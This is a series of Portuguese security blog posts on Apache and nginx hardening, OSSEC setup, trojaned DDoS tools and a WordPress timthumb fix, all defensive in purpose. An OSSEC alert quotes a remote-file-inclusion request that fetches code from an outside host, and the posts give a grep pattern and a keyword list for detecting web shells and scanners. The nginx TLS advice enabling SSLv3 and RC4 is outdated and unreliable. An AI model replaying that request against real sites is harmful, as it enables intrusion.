Apache Killer integrado ao Amargeddon DDoS Bot tool

Pesquisadores da Arbor Networks analisaram a nova versão do malware russo Amargeddon, utilizado exclusivamente para ataques de DDoS, que passou a integrar o exploit Apache Killer desenvolvido pelo Kingcope.Este exploit explora a vulnerabilidade Apache Range Header DoS CVE-2011-3129 publicada em agosto de 2011.

Segundo os pesquisadores da Arbor, esta versão do malware suporta novos comandos dependendo da aplicação existente no alvo:

.apacheflood, .vbulletinflood, .phpbbflood,

A vulnerabilidade presente nas versões 1.3.x, 2.0.x até a 2.0.64, e 2.2.x até a 2.2.19 do webserver Apache causa indisponibilidade do serviço httpd ao tentar responder as requisições do conteúdo de uma URL ( principalmente arquivos ) em um grande número de “partes” indiviuais ou byte ranges.

O seguinte questionamento poderá vir a tona:

“Porque o Alexos está falando desta vulnerabilidade relativamente antiga e que foi corrigida semanas após a descoberta. Provavelmente este malware não atingirá nenhuma alvo”

Para responder este plausível questionamento pesquisei no Shodan por Apache/2.2.19 e eis que surge o grande resultado:

Top countries matching your search

* United States 32,731
* United Kingdom 3,005
* Canada 2,467
* Czech Republic 1,708
* Russian Federation 1,620

Agora o resultado da pesquisa por Apache/2.0.64:

Top countries matching your search

* United States 12,529
* Japan 3,123
* United Kingdom 872
* Canada 726
* Russian Federation 529

Os resultados obtidos mostram que se todos este alvos estiverem infectados (se já não estão!) pode se tratar de uma grande BOTNET com fins específicos.

Mitigando o ataque

Existem diversas ações para mitigarmos este ataque:

Ação 1 – Atualizar o Apache ( + Recomendada )

Ação 2 – Usar mod_rewrite para detectar um grande número de ranges ignorando ou rejeitando as requisições maliciosas.

SetEnvIf Range (,.*?){10,} bad-range=1
RequestHeader unset Range env=bad-range
CustomLog logs/range-CVE-2011-3192.log common env=bad-range

Ação 3 – Limitar o tamanho do campo de requisição usando o parâmetro LimitRequestFieldSize. No exemplo abaixo limitamos para 200 bytes que é um valor sustentável para o principais CMSs.

LimitRequestFieldSize 200

Veja mais em:

Breaking Armageddon’s latest and greatest crypto reveals some interesting new functionality

DDoS botnet clients start integrating the Apache Killer exploit

Mitigation of Apache Range Header DoS Attack

Nginx – Implantação e hardening do nginx no Debian

nginx
O Nginx ( pronuncia-se “engine-x”) é um webserver e proxy reverso para os protocolos http, smtp, pop3 e imap focado em alta performance. Sua utilização vêm crescendo bastante rapidamente, numa pesquisa realizada em janeiro deste ano pela Netcraft ele ocupa o 2o. lugar entre os servidores webs ativos na internet.

Neste post apresentarei como configurar o Nginx com suporte ao PHP e todos os ajustes de segurança necessários.

NOTA: Informações importantes encontram-se nos comentários dos arquivos de configuração.

Para obter as versões mais recente usaremos os pacotes disponíveis no repositório squeeze-backports

deb http://backports.debian.org/debian-backports squeeze-backports main

aptitude install -t squeeze-backports nginx spawn-fcgi php5-cgi

Configurando o vhost

vim /etc/nginx/sites-available/www.acme.com

#O dominio acme.com é um alias para www.acme.com

server {
server_name www.acme.com acme.com;
access_log /var/log/nginx/www.acme.com.access.log;
error_log /var/log/nginx/www.acme.com.error.log;
root /var/www/acme/;

location / {
index index.php;
}

#Restrigindo o acesso ao ambiente administrativo

location /admin {
root /var/www/acme/;
index index.php;
allow 200.222.222.222;
deny all;
}

#Negando o acesso a alguns arquivos

location =/*.txt {
deny all;
log_not_found off;
access_log off;
}

location =/xmlrpc.php{
deny all;
log_not_found off;
access_log off;
}

location =/readme.html {
deny all;
log_not_found off;
access_log off;
}

#Habilitando o suporte ao PHP

location ~ \.php$ {
include /etc/nginx/fastcgi_params;
fastcgi_pass unix:/var/run/php-fastcgi/php-fastcgi.socket;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/acme$fastcgi_script_name;
}
}

Hardening do Nginx

user www-data;

#Total de threads. Configure de acordo com a quantidade de CPU existente, acima de 2 CPUs = 4.
worker_processes 4;
pid /var/run/nginx.pid;

events {
#Juntamente com o work_processes permite calcular o máx. de clientes ( max clients = worker_processes * worker_connections )
worker_connections 1024;

}

http {
include /etc/nginx/mime.types;
access_log /var/log/nginx/access.log;
sendfile on;

tcp_nodelay on;

gzip on;
gzip_disable “MSIE [1-6]\.(?!.*SV1)”;

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

# Protecao contra DoS
client_body_buffer_size 1K;
client_header_buffer_size 1k;
client_max_body_size 2M;
large_client_header_buffers 2 1k;
client_body_timeout 10;
client_header_timeout 10;
keepalive_timeout 5 5;
send_timeout 10;

# Oculta banner
server_tokens off;
}

# Limita o maximo de conexoes concorrentes por IP
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10;

Script de inicialização do PHP-Fastcgi

vim /etc/init.d/php-fastcgi

RETVAL=0
case “$1″ in
start)
$PHP_SCRIPT
RETVAL=$?
;;
stop)
killall php5-cgi
RETVAL=$?
;;
restart)
killall php5-cgi
$PHP_SCRIPT
RETVAL=$?
;;
*)
echo “Usage: php-fastcgi {start|stop|restart}”
exit 1
;;
esac
exit $RETVAL

Adicionando nos Runlevels

update-rc.d php-fastcgi defaults

Habilitando o vhost e iniciando os serviços

cd /etc/nginx/sites-enabled

ln -s ../sites-available/www.acme.com

invoke-rc.d nginx start && invoke-rc.d php-fastcgi start

UPDATE 21/03/2012

Dicas adicionais do Jeronimo Zucco (@jczucco)

#Para evitar conexões DAV (PROPFIND TRACE PROPPATCH MKCOL COPY MOVE LOCK UNLOCK OPTIONS) se isso não for utilizado, é claro.

proxy_cache_methods GET HEAD POST;

#Para acompanhar a performance e utilização do nginx, afinal a disponibilidade também é importante. Pode ser feito gráfico do rrdtool usando essa ferramenta:http://blog.kovyrin.net/2006/04/29/monitoring-nginx-with-rrdtool/

HttpStubStatusModule

Configuração do limits.conf do parâmetro “nofile” para o usuário que está rodando o nginx. Por padrão o valor é 1024 arquivos abertos, se isso for insuficiente, o log irá apresentar: “failed (24: Too many open files)”, causando negação de serviço.

#Alguns bloqueios por extensão:

location ~ /\.ht {
deny all;
}
location ^/MSOffice {
deny all;
}

location ~ _vti_bin {
deny all;
}

location ~* \.(dll|cmd|src)$ {
deny all;
}

#Se o nginx for proxy reverso de HTTPS, habilitar somente criptografia forte para evitar o BEAST attack (CVE-2011-3389):

ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers RC4:HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;

UPDATE 2 – 22/03/2012

Mais dicas do meu amigoJeronimo Zucco (@jczucco)

#Regra para evitar acidentes de “desenvolvedores” que esquecem arquivos em diretórios expostos para a internet, como dump de base de dados, código fonte backup, etc:

location ~* \.(ant|asa|asax|ascx|axd|backup|bak|bat|bkp|cdx|cer|cfg|cmd|com|config|conf|cs|csproj|csr|dat|db|dbf|dll|dos|htr|htw|ida|idc|idq|inc|ini|key|licx|lnk|log|mdb|old|pass|pdb|pol|printer|pwd|resources|resx|sql|src|sys|vb|vbs|vbproj|vsdisco|webinfo|xsd|xsx)$ {
deny all;
}

#Bloqueio por hostname do que está sendo feito proxy, para evitar que uma configuração mal feita acabe abrindo o proxy para o mundo externo:

if ($host !~ ^(dominio.com.br|www.dominio.com.br)$ ) {
return 403;
}

Considerações finais

As melhores práticas de segurança do PHP já foram abordadas nos posts anteriores [1] [2]

Como pudemos constatar sua implementação é aparentemente fácil, o site do projeto é bastante rico em documentação.

O Nginx é muito utilizado como proxy reverso tornando-se um frontend para balanceamento de carga suportando diversos protocolos, existe também um módulo de WAF chamado Naxsi, esta e outras soluções serão tratadas nos próximos posts.

Referências

Nginx and PHP-FastCGI on Debian 5

Top 20 Nginx WebServer Best Security Practices

Slowloris e outras ferramentas do Anonymous infectadas por malwares

A pesquisa disponibilizada pela Symantec mostra que uma das ferramentas utilizadas pelo Anonymous foi modificada com o malware Zeus. As figuras abaixo comparam as características do arquivos disponibilizados em maio de 2011 e janeiro de 2012 durante a operação Megaupload com cerca de 26000 views e 400 tweets.

img

No Brasil novos membros contam com vários pacotes para iniciantes contendo todas as ferramentas necessárias para os ataques de DDoS e instruções de uso.

Analisando o conteúdo do pacote identifiquei que 28 dos 42 arquivos são malwares.

Como uma grande parte dos integrantes são newbies(novatos) suas máquinas acabam não só servindo como zumbis “voluntários” para os propósitos hacktivistas,mas elas podem estar sendo utilizadas também para ações do cybercrime.

Leia mais:

Anonymous Supporters Tricked into Installing Zeus Trojan

The Anatomy of an Anonymous Attack

Configurando os agentes do Ossec HIDS automaticamente no Linux

O modo tradicional para configurar as chaves de autenticação dos agentes no Ossec server é sustentável até 5 servidores em média. Para facilitar esta tarefa Daniel Cid criou o daemon ossec-authd, responsável por gerenciar as chaves de autenticação dos agentes no servidor usando um certificado digital.

NO OSSEC SERVER

Execute os seguintes comandos para gerar o certificado:

#openssl genrsa -out /var/ossec/etc/sslmanager.key 2048

Generating RSA private key, 2048 bit long modulus
……………………………………………………………….+++
…………………………………………………………………………………………………………………..+++
e is 65537 (0×10001)

#openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days 365

—–
Country Name (2 letter code) [AU]:BR
State or Province Name (full name) [Some-State]:Bahia
Locality Name (eg, city) []:Salvador
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Alexos Core Labs
Organizational Unit Name (eg, section) []:IT
Common Name (eg, YOUR name) []:debian
Email Address []:alexos@acme.com

Inicie o ossec-authd

#/var/ossec/bin/ossec-authd -p 1515 >/dev/null 2>&1 &

#netstat -at | grep 1515
tcp 0 0 *:1515 *:* LISTEN

NO OSSEC AGENT

OBS: Antes de compilar o agente instale o pacote libssl-dev ( Debian ) ou openssl-dev ( CentOS ) evitando assim a mensagem erro abaixo.

ERROR: Not compiled. Missing OpenSSL support.

Execute o seguinte comando para iniciar a autenticação:

#/var/ossec/bin/agent-auth -m 192.168.0.1 -p 1515
2012/03/01 20:28:12 ossec-authd: INFO: Started (pid: 10988).

INFO: Connected to 192.168.0.1:1515
INFO: Using agent name as: debian
INFO: Send request to manager. Waiting for reply.
INFO: Received response with agent key
INFO: Valid key created. Finished.
INFO: Connection closed.

Reinicie o servidor e o agente:

invoke-rc.d ossec restart ( Debian )

ou

service ossec restart ( CentOS )

Confirme a comunicação usando o agent_control no servidor

#/var/ossec/bin/agent_control -l

OSSEC HIDS agent_control. List of available agents:
ID: 000, Name: debian (server), IP: 127.0.0.1, Active/Local
ID: 1024, Name: debian, IP: any, Active

Referência

Configurando o Ossec HIDS para monitorar os logs customizados do Apache

Por padrão o Ossec HIDS apenas monitora os arquivos de logs access.log e error.log do Apache, isto torna-se um problema quando hospedamos diversos vhosts ( sites ) no mesmo servidor.

Claro que somente será um problema para os sysadmins que não configuram os logs dos vhosts individualmente, espero que este NÃO seja o seu caso. Se você é daqueles que nem sabem onde estão localizados os logs do Apache mostrarei como configurá-los e como adequar o Ossec HIDS a esta nova realidade.

DICA: Está boa prática facilita a auditoria dos logs durante a detecção de ataques e erros.

CUSTOMIZANDO O LOG DO VHOST

Adicione as linhas CustomLog e ErrorLog no arquivo de configuração do vhost, como no exemplo abaixo:

<VirtualHost *:80>
ServerName www.acme.com
ServerAdmin alexos@acme.com
CustomLog /var/log/apache2/www.acme.com-access.log combined
ErrorLog /var/log/apache2/www.acme.com-error.log

DocumentRoot /var/www/acme/
DirectoryIndex index.php<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory><Directory /var/www/acme/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order Allow,Deny
Allow from all
</Directory>

CONFIGURANDO O OSSEC

Edite o arquivo /var/log/ossec/ossec.conf e adicione na tag localfile os novos arquivos de log, como no exemplo abaixo:

 <localfile>
<log_format>apache</log_format>
<location>/var/log/apache2/error.log</location>
</localfile>

<localfile>
<log_format>apache</log_format>
<location>/var/log/apache2/access.log</location>
</localfile>

<localfile>
<log_format>apache</log_format>
<location>/var/log/apache2/www.acme.com-access.log</location>
</localfile>

<localfile>
<log_format>apache</log_format>
<location>/var/log/apache2/www.acme.com-error.log</location>
</localfile>

Após reinciar o Apache e Ossec HIDS os alertas serão enviados de acordo com cada virtual host.

Configurando o agente do Ossec HIDS no Windows server

A instalação do Ossec no Windows é bastante intuitiva porém alguns ajustes são necessários para garantir sua total eficiência.

Após conclui-la é necessário registrar o host no Ossec Server permitindo assim a comunicação entre ambos.

No servidor execute os seguintes passos

Execute o manage_agents

/var/ossec/bin/manage_agents

****************************************
* OSSEC HIDS v2.6 Agent manager.     *
* The following options are available: *
****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit.
Choose your action: A,E,L,R or Q: [ Digite A para adicionar um agente ]

- Adding a new agent (use ‘\q’ to return to the main menu).
Please provide the following:
* A name for the new agent: teste [ Digite o nome do agente ]
* The IP Address of the new agent: xxx.xxx.xxx.xxx [ Digite o IP do agente ]
* An ID for the new agent[001]: [ Pressione ENTER ou informe um ID ]
Agent information:
ID:001
Name:W2k3
IP Address:192.168.0.2

Confirm adding it?(y/n): y [ Digite 'y' ]

Agent added.

****************************************
* OSSEC HIDS v2.6 Agent manager.     *
* The following options are available: *
****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit.
Choose your action: A,E,L,R or Q:  E [ Digite 'E' para obter a chave do agente ]

Available agents:
ID: 001, Name: teste, IP: 192.168.0.2
Provide the ID of the agent to extract the key (or ‘\q’ to quit): 001 [ Informe o ID do agente ]

Agent key information for ’001′ is: [ Guarde esta chave para adicionar na configuração do agente ]
MDAxIHRlc3RlIDE3Mi4xNi4wLjYgZmRkMDRiM2EyNThlYWM0ZWQ5ODU1NWZmNGY0NjM3YTVjMDI2MzA5NTg1Y2M5NjgyODczNjIxMTdiMzhlZWFlYw==

Reinicie o Ossec Server

/var/ossec/bin/ossec-control restart

Adicione no agente o ip do Ossec Server e a chave gerada anteriormente.

Por padrão o agente do Windows faz a leitura dos logs do 1o virtual host ( W3SVC1 até W3SVC254 para WEB, MSFTPSVC1 até MSFTPSVC254 para FTP e SMTPSVC1 até SMTPSVC254 para SMTP). Está configuração padrão não atente na maioria dos casos, por isso é necessário ajustar tanto o IIS quanto o Ossec.

NO IIS

Execute os seguintes passos em todos o VHOSTS existentes tanto para WEB quanto para FTP

1 – Marque as opções 1 e 2 como mostra a tela abaixo:

img1

Guarde o caminho do arquivo de log ( LOG FILE NAME ) que na imagem acima é W3SVC767321757\exyymmdd.log. Iremos adicionar está informação no arquivo de configuração do agente.

2 – Clique na aba AVANÇADO marcando todas as opções existentes.

img2

NO AGENTE DO OSSEC

1 – Inicie o Agent Manager e clique em VIEW -> VIEW CONFIG

Adicione a seguinte XML TAG no final do arquivo informando os diretórios apresentados anteriormente pelo IIS. Repita toda a TAG para cada diretório.

Após executar os passos acima reinicie o agente acompanhando seu log e os alertas.

ACTIVE-RESPONSE

O active-response no Windows vêm desabilitado por padrão, habilite-o alterando a TAG abaixo de yes para no.

Para monitorar os hosts bloquados acesse o CMD e digite o comando ROUTE PRINT, para remover um ip bloqueado execute o comando ROUTE REMOVE [IP]

Referência

Como sobreviver aos ataques dos “hacktivistas” e pichadores virtuais de plantão

Em 2011 as atividades hackers foram bastante divulgadas e passaram de mera brincadeira de jovens desocupados para ações “organizadas” com cunho político libertário.

Os grupos que ganharam um rápido prestigio foram o Anonymous e LuLzSec, uma boa parte do marketing em cima das ações destes grupos ficou a cargo das redes sociais, pastebin e do youtube. A partir dai novas facções como AnonymousBR, iPiratesGroup, LuLzSecBR, GreyHatBR, AntiSecBR e alguns pichadores virtuais foram surgindo em busca de seus 15 min de fama.

Analisando os resultados divulgados não foi dificil entender o porque de tanto sucesso. Identifiquei erros simples como senhas fracas no ambiente de administação do sites ( e.g. admin@dominio/manager ) e muito mas muito SQLi e Blind SQLi.

Abaixo passo algumas dicas de como sobreviver após o comprometimento de sua infra-estrutura e como mitigar as falhas.

1 – Web Backdoors

Os web shells[1] [2] permitem o acesso ao ambiente comprometido mesmo após corrigidas as falhas. Estudar o código destas ferramentas facilita sua detecção e remoção.

Nestes casos um AV ajuda muito tanto no Ambiente Windows quanto no Linux, mas muito cuidado pois nem todos os AVs são capazes de detectar web backdoors bastantes conhecidos ( e.g Symantec ). Uma forma de validar a varredura é fazendo buscas manuais:

No Linux

grep -RPl –include=*.{php,txt,asp} “(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(” /var/www/

No Windows

Usando a ferramenta de busca procure pelas palavras acima.

2 – Análise do alvo

Após o incidente é muito importante entender quais foram as vulnerabilidades que permitiram a invasão. Ferramentas para análise de vulnerabilidades como o Nessus, Arachni, Uniscan, Acunetix são de fundamental importância, pois elas indicam as possíveis portas de entrada e facilitam a criação do plano de mitigação.

Auditar o banco de dados é de extrema importância já que entradas indevidas podem ser adicionadas ( e.g contas fantasmas), e alguns lixos do ataque.

3 – Proteção extra e monitoramento

Aplicar uma camada a mais de segurança permite dificultar as tentativas de ataque não permitindo a varredura em busca de vulnerabilidades e portas abertas. Não deixe essa responsabilidade somente a cargo da ferramenta de proteção de borda ( e.g IPS ), por ela ser baseada em Pattern matching nem todos os ataques serão bloqueados e muito cuidado com os falsos positivos já que uma aplicação com falha no código fará com que o IPS entenda qualquer requisição como maliciosa, auditar todos os alertas muitas vezes sem bloqueá-los é o mais recomendado.

O Ossec juntamente com o Splunk, Portsentry, Samhaim e o ModSecurity são ferramentas que auxiliam bastante nesta tarefa. Outro hábito pouco utilizado é a análise dos logs, uma simples busca por palavras como Nikto, Havij, perl, whitehat, Uniscan, acunetix, fuck, scanner, timthumb, pma, phpmyadmin nos logs do Apache e do IIS permitem identificar algumas tentativas de ataque.

4 – Atualização e restrição de acesso

Manter o ambiente atualizado é uma boa prática pouco utilizada muito mais por medo principalmente quando o ambiente é de alta criticidade ( e.g SGBDs ). Nos ambientes Linux o cron-apt (Debian e derivados) e o Spacewalk (RedHat e derivados) ajudam muito, os sistemas Windows contam com o velho WSUS que geralmente fica esquecido sem a devida atenção.

Restringir o acesso aos ambientes administrativos do site ( e.g wp-admin, admin, administration ) e o FTP evitando assim ataques de brute-force, outra boa prática é a utilização de senhas fortes, isto soa bastante clichê, porém após analisar algumas áreas administrativas encontrei senhas ridiculas de acesso.

Conclusão

Estas dicas apenas mostram o caminho a ser seguido. Experiência, bom senso e estudo continuo são fatores que diferenciam na resolução dos incidentes e na prevenção.

Última dica: FERRAMENTAS FALHAM.

WordPress: Corrigindo vulnerabilidade no timthumb

Sugiu uma vulnerabilidade no WordPress classificada como alta, a falha foi encontrada no script timthumb presente na maioria dos templates e permite a inclusão de arquivos maliciosos.

O Ossec alerta e bloqueia as tentativas de ataque com o objetivo de explorar está vulnerabilidade se o active-response estiver habilitado.

OSSEC HIDS Notification.
2011 Nov 11 03:29:38

Received From: acme->/var/log/httpd/www.acme.com-access_log
Rule: 31151 fired (level 10) -> “Mutiple web server 400 error codes from same source ip.”
Portion of the log(s):

xx.xxx.xxx.xxx – - [11/Nov/2011:04:29:25 -0200] “GET //wp-content/themes/Quadro/thumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1″ 404 232 “-” “Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4″

Para corrigi-la é necessário executar os seguintes passos:

1 . Localizar se o arquivo timthumb.php, thumb.php ou similar que encontra-se no diretório template localizado em /wp-content/themes;

2. Em caso afirmativo substituir todo o código pela nova versão[1]
 
[1] code.google.com/p/timthumb/source/browse/trunk/timthumb.php

Maiores informações:

blog.ptservidor.pt/seguranca/alerta-de-seguranca-vulnerabilidade-timthumb/
blog.spiderlabs.com/2011/11/wordpress-timthumb-attacks-rising.html
markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/

2o. SSASec Day – Encontro SegInfo de Salvador

SSASec
O SSASec é um encontro mensal e informal de profissionais, estudantes, pesquisadores, hackers e interessados em geral por segurança da informação, visando a troca de experiência, networking e como uma forma de nos mantermos atualizados sobre os assuntos ligados a área.

Nós estamos promovendo um mini-evento que ocorrerá dia 12/11 ( sábado ) das 09 às 12 no auditório da Faculdade Ruy Barbosa localizada no Rio Vermelho.

Agenda:
Dia: 12/11 ( sábado )
Horário: 09 às 12
Local: Faculdade Rui Barbosa – Rio Vermelho

Palestras
Segurança da Informação – Por onde começar? – Alexandro Silva ( DCLabs )
Segurança de infrastrutura – DNSSec – Ítalo Valcy ( POP/UFBA )
Por trás das pesquisas em Segurança da Informação – Rick ( Corelan ) e AndersonC0d3 ( Hack’n Roll )

Não haverá inscrição, é só ir e se divertir!!

Conheça o projeto Muffin

O Muffin é um dos projetos do grande Tony Rodrigues, ele é um Incident Response Toolkit (Master Unit For Forensics INvestigations) e dá suporte a criação de pendrives com ferramentas que ajuda na coleta de informações voláteis.

Ela está sendo desenvolvida em Pascal com SQLlite usando o Lazarus e é composto por 3 módulos:

O pendrive MUFFIN, que é a toolkit propriamente dita;
O MUFFIN Baker, uma ferramenta que permite configurar e gerar o pendrive MUFFIN;
O MUFFIN Report, que vai acessar os dados gerados/coletados pelo pendrive MUFFIN.

O chamado:

“Estamos precisando de colaboradores. Se você conhece de programação e pode nos ajudar, entre em contato. Se você não conhece, mas ainda assim quer ajudar no projeto, excelente. Há muito trabalho e todos são bem vindos.”

Informações:

http://code.google.com/p/muffin-project/

https://code.google.com/p/muffin-project/source/browse/trunk/SETUP-Desenvolvimento.txt?spec=svn30&r=30

Você que é interessado em análise forense e está disposto a dedicar um pouco do seu tempo convido a participar de um projeto promissor e empolgante com um time super gente fina.

Conheça a @OctaneLabs